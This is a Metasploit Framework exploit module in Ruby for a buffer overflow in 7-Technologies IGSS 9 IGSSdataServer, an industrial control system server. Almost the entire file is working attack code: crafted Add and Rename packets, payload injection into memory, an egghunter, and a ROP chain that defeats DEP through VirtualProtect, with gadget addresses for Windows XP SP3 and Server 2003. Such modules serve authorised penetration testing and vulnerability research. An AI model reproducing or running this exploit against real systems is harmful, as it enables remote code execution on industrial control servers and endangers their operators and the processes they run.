##
# $Id: igss9_igssdataserver_rename.rb 12886 2011-06-09 06:04:04Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info={})
		super(update_info(info,
			'Name'           => "7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found on 7-Technologies IGSS 9. By supplying
				a long string of data to the 'Rename' (0x02), 'Delete' (0x03), or 'Add' (0x04) command,
				a buffer overflow condition occurs in IGSSdataServer.exe while handing an RMS report,
				which results arbitrary code execution under the context of the user.

				The attack is carried out in three stages.  The first stage sends the final payload to
				IGSSdataServer.exe, which will remain in memory.  The second stage sends the Add command
				so the process can find a valid ID for the Rename command.  The last stage then triggers
				the vulnerability with the Rename command, and uses an egghunter to search for the
				shellcode that we sent in stage 1.  The use of egghunter appears to be necessary due to
				the small buffer size, which cannot even contain our ROP chain and the final payload.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 12886 $",
			'Author'         =>
				[
					'Luigi Auriemma <aluigi[at]autistici.org>',  #Initial discovery, poc
					'sinn3r',                                    #Metasploit
				],
			'References'     =>
				[
					['URL', 'http://aluigi.altervista.org/adv/igss_5-adv.txt'],
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "seh",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3',
						{
							'Ret'          => 0x1B0938B8, #ADD ESP,910; RETN 10 MSJET40.dll
							'RopOffset'    => 68,         #Offset to the ROP chain
							'Offset'       => 500,        #Offset to SE Handler (stack pivot)
							'Max'          => 8000,       #Max buffer size
						}
					],
					[
						'Windows Server 2003 SP2/R2 SP2',
						{
							'Ret'       => 0x1B093622, #ADD ESP,910; RETN 10 MSJET40.dll
							'RopOffset' => 76,         #Offset to the ROP chain
							'Offset'    => 500,        #Offset to SE Handler (stack pivot)
							'Max'       => 8000,       #Max buffer size
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Mar 24 2011"))
			
			register_options(
				[
					Opt::RPORT(12401, false),
				]
			)
	end

	#We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before
	#triggering the vulnerable code path we're trying to hit.  Without this, we'll just hit
	#"FAILED renameDicRec.  ID not found %s" (logText function).
	def add_template(id)
		buf  = ''
		buf << "\x9b\x00"  #Packet size
		buf << "\x01\x00\x34\x12"
		buf << "\x07"      #Opcode
		buf << "\x00\x00\x00\x00\x00\x00\x00"
		buf << "\x01"      #Flag
		buf << "\x00\x00\x00"
		buf << "\x04"      #Command (add)
		buf << "\x00\x00\x00"
		buf << id
		buf << "\x00"
		buf << "\x00"*31
		buf << "\x78"
		buf << "\x00"*63
		buf << "\x78"
		buf << "\x00"*28

		connect

		sock.put(buf)

		print_status("Sending ADD command to #{datastore['RHOST']}")
		res = sock.recv(1024)

		disconnect

		return res
	end

	#Since we don't have a lot of space on the stack when we trigger the overflow, we send a
	#separate packet that contains our final payload, and let egghunter look for it later in memory
	def inject_payload(my_payload)

		buf  = ''
		buf << "\x01\x00\x34\x12"
		buf << "\x0D"  #Opcode
		buf << "\x00\x00\x00\x00\x00\x00\x00"
		buf << "\x01"  #Flag
		buf << "\x00\x00\x00"
		buf << "\x01"  #Command (ListAll)
		buf << "\x00\x00\x00"
		buf << my_payload
		buf << Rex::Text.rand_text_alpha(1024-my_payload.length)
		buf << "\x00"*130

		#Packet size
		buf_size = [buf.length + 2].pack('v')
		buf = buf_size + buf

		connect

		sock.put(buf)
		print_status("Injecting payload in memory to #{datastore['RHOST']}")

		disconnect
	end

	#It's definitely junk
	def junk
		return rand_text(4).unpack("L")[0].to_i
	end

	def sploit_rename(id)
		#Egghunter is used because we don't really have a lot of space on the stack
		#to fit the ROP chain and a larger payload
		eggoptions =
		{
			:checksum  => true,
			:eggtag    => 'W00T',
			:depmethod => 'virtualprotect',
			:depreg    => 'esi'
		}

		hunter, p = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

		#depreg  (Put VirtualProtect in ESI)
		esi  = "\x81\xf6\x16\x1b\x5f\x5e"  #XOR ESI, 0x5E5F1B16
		esi << "\x3e\x8b\x36"              #MOV ESI, DWORD PTR DS:[ESI]

		#Put depreg alignment
		hunter = esi + hunter

		#Send final payload first, and let egghunter look for it
		inject_payload(p)

		#Max ROP chain size we can use is 406 bytes
		rop  = [
			:xchg_esp_ebp,
			#0x59ABA24B,  #PUSH ESP # POP EBP # RETN  [dbghelp.dll]
			junk,
			junk,
			junk,
			junk,
			0x1B76A59E,  #XCHG EAX,EBP # RETN  [dao360.dll]
			0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
			:add_eax_100,
			#0x1B09FA13,  #ADD EAX,100 # RETN 0C  [MSJET40.DLL]

			#VirtualProtect Argument ([0x540214])
			:xchg_eax_ecx,
			junk,
			junk,
			junk,
			:pop_eax,
			0x3BABFD6D,  #0x3BABFD6D xor 0x3BFFFF79
			0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
			0x1b73f3bd,  #MOV EAX,DWORD PTR DS:[EAX] # RETN  [dao360.dll]
			:xchg_eax_ecx,
			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

			#Retn:
			:xchg_eax_esi,
			#0x1B0505C1,  #PUSH EAX # POP ESI # RETN 4  [MSJET40.DLL]
			0x1B8260DD,  #ADD EAX,20 # RETN  [Module : msjtes40.dll]
			junk,
			0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
			0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
			0x1B8260DD,  #ADD EAX,20 # RETN  [msjtes40.dll]
			:xchg_eax_ecx,
			:mov_eax_esi_pop_esi,
			#0x1B03AD44,  #MOV EAX,ESI # POP ESI # RETN  [MSJET40.DLL]
			0x5E0B1902,  #:depreg initial value to xor
			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

			#Shellcode:
			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

			#Size (100 bytes -- enough for egghunter)
			:xchg_eax_ecx,
			:pop_eax,
			:size_xor,
			0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
			:xchg_eax_ecx,
			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

			#newProtect (0x40):
			:xchg_eax_ecx,
			:pop_eax,
			0x3BFFFF39,  #0x3BFFFF39 xor 0x3BFFFF79
			0x1B7802A3,  #XOR EAX,3BFFFF79 # RETN  [dao360.dll]
			:xchg_eax_ecx,
			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]
			0x1B74C50A,  #ADD EAX,4 # RETN  [dao360.dll]

			#oldProtect
			0x1B731395,  #POP ECX # RETN  [dao360.dll]
			0x1B82B410,  #.data section (WR) in msjtes40.dll
			0x1B829E75,  #MOV DWORD PTR DS:[EAX],ECX # RETN  [msjtes40.dll]

			#Align the rewind part
			0x1B829E86,  # ADD EAX,0C # RETN  [msjtes40.dll]

			#Rewind
			:rewind,

			#Execute
			0x1B72A833,  #XCHG EAX,ESP # RETN  [dao360.dll]
		]

		#OS specific gadgets
		rop.map! do |gadget|
			if gadget == :xchg_esp_ebp
				(target.name =~ /xp/i) ? 0x59ABA24B : 0x6D5E2223
			elsif gadget == :add_eax_100
				(target.name =~ /xp/i) ? 0x1B09FA13 : 0x1B09F6F3
			elsif gadget == :xchg_eax_esi
				(target.name =~ /xp/i) ? 0x1B0505C1 : 0x1B051B71
			elsif gadget == :xchg_eax_ecx
				(target.name =~ /xp/i) ? 0x1B02708C : 0x1B02B28D
			elsif gadget == :mov_eax_esi_pop_esi
				(target.name =~ /xp/i) ? 0x1B03AD44 : 0x1B110735
			elsif gadget == :pop_eax
				(target.name =~ /xp/i) ? 0x1B0C65B6 : 0x1B0c6169
			elsif gadget == :size_xor
				(target.name =~ /xp/i) ? 0x3BFFFF01 : 0x3BFFFF1D
			elsif gadget == :rewind
				(target.name =~ /xp/i) ? 0x1B03D70A : 0x1B03C741
			else
				gadget
			end
		end

		rop = rop.pack('V*')

		sploit  = ''
		sploit << Rex::Text.rand_text_alpha(target['RopOffset'])
		sploit << rop
		sploit << Rex::Text.rand_text_alpha(target['Offset']-sploit.length)
		sploit << [target.ret].pack('V')  #Pivot
		sploit << make_nops(12)  #Padding
		sploit << hunter
		sploit << Rex::Text.rand_text_alpha(target['Max']-sploit.length)

		#Create the packet with our naughty payload
		pkt  = "\x00\x04"  #Funky size causes overflow
		pkt << "\x01\x00\x34\x12"
		pkt << "\x07"      #Opcode
		pkt << "\x00\x00\x00\x00\x00\x00\x00"
		pkt << "\x02"      #Flag
		pkt << "\x00\x00\x00"
		pkt << "\x02"      #Command
		pkt << "\x00\x00\x00"
		pkt << id
		pkt << "\x00"
		pkt << sploit

		connect

		print_status("Sending malicious request to #{datastore['RHOST']}")
		sock.put(pkt)

		handler

		#egghunter takes a few seconds, wait a bit before disconnect
		select(nil, nil, nil, 3)
		disconnect
	end

	def exploit
		id = Rex::Text.rand_text_alpha(8)

		res = add_template(id)
		if res !~ /Report/i
			print_error("Failed to add template:#{res}")
			return
		end

		sploit_rename(id)
	end
end
